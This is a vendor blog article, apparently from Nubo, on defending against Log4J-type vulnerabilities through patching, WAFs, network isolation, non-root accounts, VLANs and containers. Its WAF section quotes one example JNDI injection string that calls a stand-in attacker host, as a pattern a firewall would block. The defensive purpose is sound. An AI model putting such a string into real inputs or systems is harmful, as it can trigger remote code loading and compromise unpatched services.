A lot has been said and written about the Log4J vulnerability. Technical issues have been raised, security flaws have been discussed, the impact of this vulnerability is said to be so huge, and practical advice on how to secure your system from the Log4J vulnerability is seen everywhere!
Let’s take a few minutes to discuss some lessons learned from this case, so we could better protect ourselves from similar vulnerabilities in the future. Even though the Log4J vulnerability has recently received a lot of buzz and media coverage, there are actually many other critical vulnerabilities that are discovered every day and need to be addressed on a regular basis. For example, on the CVEDetails.com website, there are currently about 19,000 vulnerabilities rated between 9 to 10, quite similar to the Log4J vulnerability rating.
So, how can we find effective ways to protect our organization from so many potential vulnerabilities?
First, we can use the most common and obvious method, which is installing patches.
IT needs to track all the components in the system, make sure that they are all updated regularly and of course, patched immediately when a vulnerability is discovered.
Patching the Log4J vulnerability is quite complicated because Log4J is a library that is used by many products, and usually IT is not aware of the actual products using it. As a result, IT needs to contact its vendors and find out whether a patch is needed. This becomes even more problematic when IT uses a self-made application, whose internal apps are usually not well maintained in the Enterprise environment. In addition, this situation also makes it hard to approach the developers and find out if they are using a specific library.
Another disadvantage is that patches can only protect against known issues and are dependent on the software vendor’s quick reaction. Unfortunately, even though patching has many drawbacks, it is usually the only method being used in many organizations.
Let’s consider much more simple methods that can overcome many patching disadvantages. You will still need to use patching, but by using some other rules and tools, your system will surely become less vulnerable:
1. Use a web application firewall
A web application firewall can be used to filter the requests sent to web applications and APIs, so that many malicious requests will not enter your applications. That way, even if one of your applications still has a vulnerability, an exploit cannot send its malicious code to the application, as it will be filtered by the WAF. In case of a Log4J vulnerability, most of the WAFs would probably filter out the malicious URL (e.g. ${jndi:ldap://attackersite.com/x} )that is used to execute code in a web application or API service.
2. Isolate backend services from the internet
Backend services usually run inside the datacenter and serve the organization’s users. A common mistake is to let those services to be connected to the internet. Attacks that exploit weaknesses in the software usually use the internet to download the malicious code. For example, in the Log4j vulnerability, the exploit code is being downloaded from a remote internet site. If the service is not connected, the exploit will fail (even if the service is still not patched). This actually protects against many zero-day vulnerabilities, as many depend on internet connectivity.3. Run backend services as a unique and non-root (admin) user
A root (or admin) user, is a user that has unlimited permissions in the operating system and can access any other users’ data. All other users have limited permissions and are also isolated from other users. If you run your service as root, where an exploit can run code on-behalf of the service, the code can easily access other services in the same operating system, get other services data, or even infect them. The Log4j vulnerability also enables running malicious code. In case the service runs with a non-root user, the malicious code will be isolated from other users.
4. Separate your services into VLANs
Another common impact of malicious code that infects a service is that the code can access other services and infect them as well. The malicious code takes advantage of the fact that in many cases, all the services run in the same LAN (i.e., Local Area Network) and can scan the LAN for other services it might infect. There are also more sophisticated attacks that can infect one service using one vulnerability (e.g., Log4J vulnerability), then scan the network for LAN services that have other known vulnerabilities and exploit them as well. A possible solution for that will be to separate your services into different VLANs and control network access tables, so each service will access only the services it needs.
5. Run services in containers
Another security measure to be taken when securing services could be simply running them on a container, just like a docker container. Container technology helps solve many software deployment issues, and at the same time, increases security levels. Containers are isolated from the operating system they run on and have very limited options to infect the operating system, or any other services. Even powerful attacks that know how to get root access from non-root services can fail to penetrate the isolation of a container if the container is well secured. Again, this provides security for many kinds of zero-day vulnerability attacks, so that the attack’s impact will only be limited to the infected container.
In this article we saw that we have powerful options, not only to defend ourselves against known vulnerabilities, but to also prepare ourselves from unknown vulnerabilities and zero-day attacks. What is common to all the above options, is that they can do wonders to isolate your services. We believe that proper isolation is crucial for your datacenter’s security, so it’s no surprise that Nubo specializes in mobile isolation.